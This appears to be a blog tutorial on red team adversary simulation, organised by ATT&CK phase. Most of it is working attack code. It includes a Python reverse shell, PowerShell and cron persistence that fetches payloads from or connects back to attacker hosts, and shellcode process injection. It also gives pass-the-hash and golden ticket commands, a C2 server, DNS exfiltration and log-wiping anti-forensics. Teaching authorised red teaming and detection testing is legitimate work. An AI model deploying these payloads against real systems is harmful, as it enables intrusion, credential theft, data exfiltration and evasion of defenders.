Red Team Methodology: Advanced Adversary Simulation Techniques
Explore advanced red team tactics, techniques, and procedures (TTPs) for realistic adversary simulation and security assessment.
Red Team Methodology: Advanced Adversary Simulation#
Red team operations go beyond traditional penetration testing by simulating real-world adversary behavior. This comprehensive approach tests not just technical controls, but also people, processes, and detection capabilities.
Understanding Red Team Operations#
Red Team vs. Penetration Testing#
| Aspect | Penetration Testing | Red Team Operations | |--------|-------------------|--------------------| | Scope | Technical vulnerabilities | Full attack lifecycle | | Duration | Days to weeks | Weeks to months | | Stealth | Not required | Critical requirement | | Detection | Acceptable | Must be avoided | | Objectives | Find vulnerabilities | Test detection/response |
The MITRE ATT&CK Framework#
Red team operations align with the MITRE ATT&CK framework, which categorizes adversary tactics:
- Initial Access: Getting into the network
- Execution: Running malicious code
- Persistence: Maintaining access
- Privilege Escalation: Gaining higher permissions
- Defense Evasion: Avoiding detection
- Credential Access: Stealing credentials
- Discovery: Learning about the environment
- Lateral Movement: Moving through the network
- Collection: Gathering target data
- Command and Control: Communicating with systems
- Exfiltration: Stealing data
- Impact: Disrupting operations
Pre-Engagement Planning#
Threat Modeling#
Before starting, identify relevant threat actors:
# Example threat actor profile threat_actor = { "name": "APT29 (Cozy Bear)", "motivation": "Espionage", "sophistication": "High", "common_ttps": [ "Spear phishing", "Living off the land", "PowerShell abuse", "WMI persistence" ], "target_sectors": [ "Government", "Healthcare", "Technology" ] }
Rules of Engagement (ROE)#
Clear ROE are essential:
- Scope boundaries: What systems are in/out of scope
- Time windows: When testing can occur
- Communication protocols: Emergency contacts
- Data handling: How to treat discovered data
- Cleanup procedures: Removing artifacts
Initial Access Techniques#
Spear Phishing#
Crafting convincing phishing emails:
# OSINT gathering for phishing # Company information theHarvester -d target.com -l 500 -b all # Social media reconnaissance python3 sherlock.py target_employee # Email format identification python3 email-enum.py -d target.com
Payload Development#
Custom payload creation:
# Simple reverse shell payload import socket import subprocess import os def reverse_shell(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) while True: command = s.recv(1024).decode('utf-8') if command.lower() == 'exit': break if command.startswith('cd '): try: os.chdir(command[3:]) s.send(b'Directory changed\n') except: s.send(b'Failed to change directory\n') else: try: output = subprocess.check_output( command, shell=True, stderr=subprocess.STDOUT ) s.send(output) except: s.send(b'Command failed\n') s.close() except Exception as e: pass if __name__ == "__main__": reverse_shell("attacker-ip", 4444)
Persistence Mechanisms#
Windows Persistence#
Registry Persistence#
# Registry Run key persistence $payload = "C:\\Windows\\System32\\backdoor.exe" New-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "SecurityUpdate" -Value $payload -PropertyType String
Scheduled Task Persistence#
# Create scheduled task $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/payload.ps1\")'" $trigger = New-ScheduledTaskTrigger -AtLogOn $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Principal $principal
Linux Persistence#
Cron Job Persistence#
# Add cron job for persistence echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" | crontab -
SSH Key Persistence#
# Add SSH key for persistence mkdir -p ~/.ssh echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys
Defense Evasion#
Living Off The Land#
Use legitimate tools for malicious purposes:
# PowerShell download and execute IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') # WMI for lateral movement wmic /node:"target-host" /user:"domain\\user" /password:"password" process call create "cmd.exe /c powershell.exe -Command 'payload'" # BITSAdmin for file transfer bitsadmin /transfer myDownloadJob /download /priority normal http://attacker.com/tool.exe C:\\temp\\tool.exe
Process Injection#
# Simple process injection example import ctypes from ctypes import wintypes def inject_shellcode(pid, shellcode): # Get process handle process_handle = ctypes.windll.kernel32.OpenProcess( 0x1F0FFF, # PROCESS_ALL_ACCESS False, pid ) if not process_handle: return False # Allocate memory memory_address = ctypes.windll.kernel32.VirtualAllocEx( process_handle, 0, len(shellcode), 0x3000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) # Write shellcode ctypes.windll.kernel32.WriteProcessMemory( process_handle, memory_address, shellcode, len(shellcode), None ) # Create remote thread thread_handle = ctypes.windll.kernel32.CreateRemoteThread( process_handle, None, 0, memory_address, None, 0, None ) return thread_handle is not None
Lateral Movement#
Pass-the-Hash Attacks#
# Using Impacket for pass-the-hash python3 psexec.py -hashes :ntlm_hash domain/user@target-ip # Using CrackMapExec crackmapexec smb target-range -u user -H ntlm_hash --exec-method smbexec -x "whoami"
Kerberoasting#
# PowerShell Kerberoasting Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/target.domain.com"
Golden Ticket Attacks#
# Create golden ticket with Mimikatz mimikatz "kerberos::golden /user:Administrator /domain:target.com /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ticket:golden.kirbi" # Use golden ticket mimikatz "kerberos::ptt golden.kirbi"
Command and Control (C2)#
Custom C2 Framework#
# Simple HTTP C2 server from flask import Flask, request, jsonify import base64 import json app = Flask(__name__) command_queue = {} results = {} @app.route('/checkin/<agent_id>', methods=['POST']) def checkin(agent_id): # Agent checking in data = request.get_json() # Store results if any if 'result' in data: results[agent_id] = data['result'] # Return pending commands commands = command_queue.get(agent_id, []) command_queue[agent_id] = [] # Clear queue return jsonify({'commands': commands}) @app.route('/command/<agent_id>', methods=['POST']) def send_command(agent_id): # Operator sending command command = request.get_json()['command'] if agent_id not in command_queue: command_queue[agent_id] = [] command_queue[agent_id].append(command) return jsonify({'status': 'queued'}) if __name__ == '__main__': app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
Domain Fronting#
# Domain fronting example import requests def domain_fronted_request(data): headers = { 'Host': 'legitimate-domain.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Use CDN endpoint but with different Host header response = requests.post( 'https://cdn-endpoint.cloudfront.net/api/data', headers=headers, json=data, verify=False ) return response.json()
Data Exfiltration#
Steganography#
# Hide data in images from PIL import Image import binascii def hide_data_in_image(image_path, data, output_path): img = Image.open(image_path) binary_data = ''.join(format(ord(char), '08b') for char in data) binary_data += '1111111111111110' # Delimiter pixels = list(img.getdata()) data_index = 0 for i, pixel in enumerate(pixels): if data_index < len(binary_data): # Modify LSB of red channel r, g, b = pixel r = (r & 0xFE) | int(binary_data[data_index]) pixels[i] = (r, g, b) data_index += 1 img.putdata(pixels) img.save(output_path)
DNS Exfiltration#
# DNS exfiltration import dns.resolver import base64 def exfiltrate_via_dns(data, domain): # Encode data encoded = base64.b64encode(data.encode()).decode() # Split into chunks (DNS label limit) chunk_size = 63 chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)] for i, chunk in enumerate(chunks): subdomain = f"{i}.{chunk}.{domain}" try: dns.resolver.resolve(subdomain, 'A') except: pass # Expected to fail, but logs the query
Operational Security (OPSEC)#
Anti-Forensics#
# Clear Windows event logs wevtutil cl System wevtutil cl Security wevtutil cl Application # Clear bash history history -c unset HISTFILE # Timestomping timestomp file.exe -z "01/01/2020 12:00:00"
Traffic Analysis Evasion#
# Randomize C2 communication import random import time def randomized_beacon(): # Random jitter base_interval = 300 # 5 minutes jitter = random.randint(-60, 60) sleep_time = base_interval + jitter # Random user agents user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' ] headers = { 'User-Agent': random.choice(user_agents) } time.sleep(sleep_time) return headers
Detection and Response Testing#
Purple Team Collaboration#
# Test scenario documentation scenario: name: "APT29 Simulation" objective: "Test detection of sophisticated adversary" duration: "2 weeks" ttps_tested: - technique: "T1566.001" name: "Spear Phishing Attachment" detection_expected: true - technique: "T1055" name: "Process Injection" detection_expected: false metrics: - detection_rate - mean_time_to_detection - false_positive_rate - analyst_workload
Automated Testing#
# Automated TTP testing import subprocess import json from datetime import datetime class TTPTester: def __init__(self, config_file): with open(config_file, 'r') as f: self.config = json.load(f) def execute_ttp(self, technique_id): technique = self.config['techniques'][technique_id] start_time = datetime.now() try: result = subprocess.run( technique['command'], shell=True, capture_output=True, text=True, timeout=technique.get('timeout', 60) ) end_time = datetime.now() return { 'technique_id': technique_id, 'success': result.returncode == 0, 'start_time': start_time.isoformat(), 'end_time': end_time.isoformat(), 'output': result.stdout, 'error': result.stderr } except subprocess.TimeoutExpired: return { 'technique_id': technique_id, 'success': False, 'error': 'Timeout expired' } def run_campaign(self, campaign_name): campaign = self.config['campaigns'][campaign_name] results = [] for technique_id in campaign['techniques']: result = self.execute_ttp(technique_id) results.append(result) # Wait between techniques time.sleep(campaign.get('delay', 60)) return results
Reporting and Metrics#
Executive Summary Template#
# Red Team Assessment - Executive Summary ## Assessment Overview - **Duration**: [Start Date] - [End Date] - **Scope**: [Systems/Networks Tested] - **Methodology**: [Framework Used] ## Key Findings - **Critical Issues**: [Number] - **High Risk Issues**: [Number] - **Detection Rate**: [Percentage] - **Mean Time to Detection**: [Hours/Days] ## Business Impact - **Data at Risk**: [Classification/Volume] - **Systems Compromised**: [Number/Percentage] - **Potential Financial Impact**: [Estimate] ## Recommendations 1. [Priority 1 Recommendation] 2. [Priority 2 Recommendation] 3. [Priority 3 Recommendation]
Technical Metrics#
# Calculate detection metrics def calculate_metrics(test_results): total_techniques = len(test_results) detected = sum(1 for r in test_results if r['detected']) detection_rate = (detected / total_techniques) * 100 detection_times = [r['detection_time'] for r in test_results if r['detected']] mean_detection_time = sum(detection_times) / len(detection_times) if detection_times else 0 return { 'total_techniques': total_techniques, 'detection_rate': detection_rate, 'mean_detection_time': mean_detection_time, 'undetected_techniques': [r['technique'] for r in test_results if not r['detected']] }
Conclusion#
Red team operations provide invaluable insights into an organization's security posture. By simulating real adversary behavior, organizations can:
- Test detection capabilities
- Validate incident response procedures
- Identify security gaps
- Improve security awareness
- Measure security program effectiveness
Remember: The goal isn't just to "break in" but to help organizations improve their security posture through realistic adversary simulation.
Interested in learning more about red team operations? Check out my other posts on specific techniques and tool development.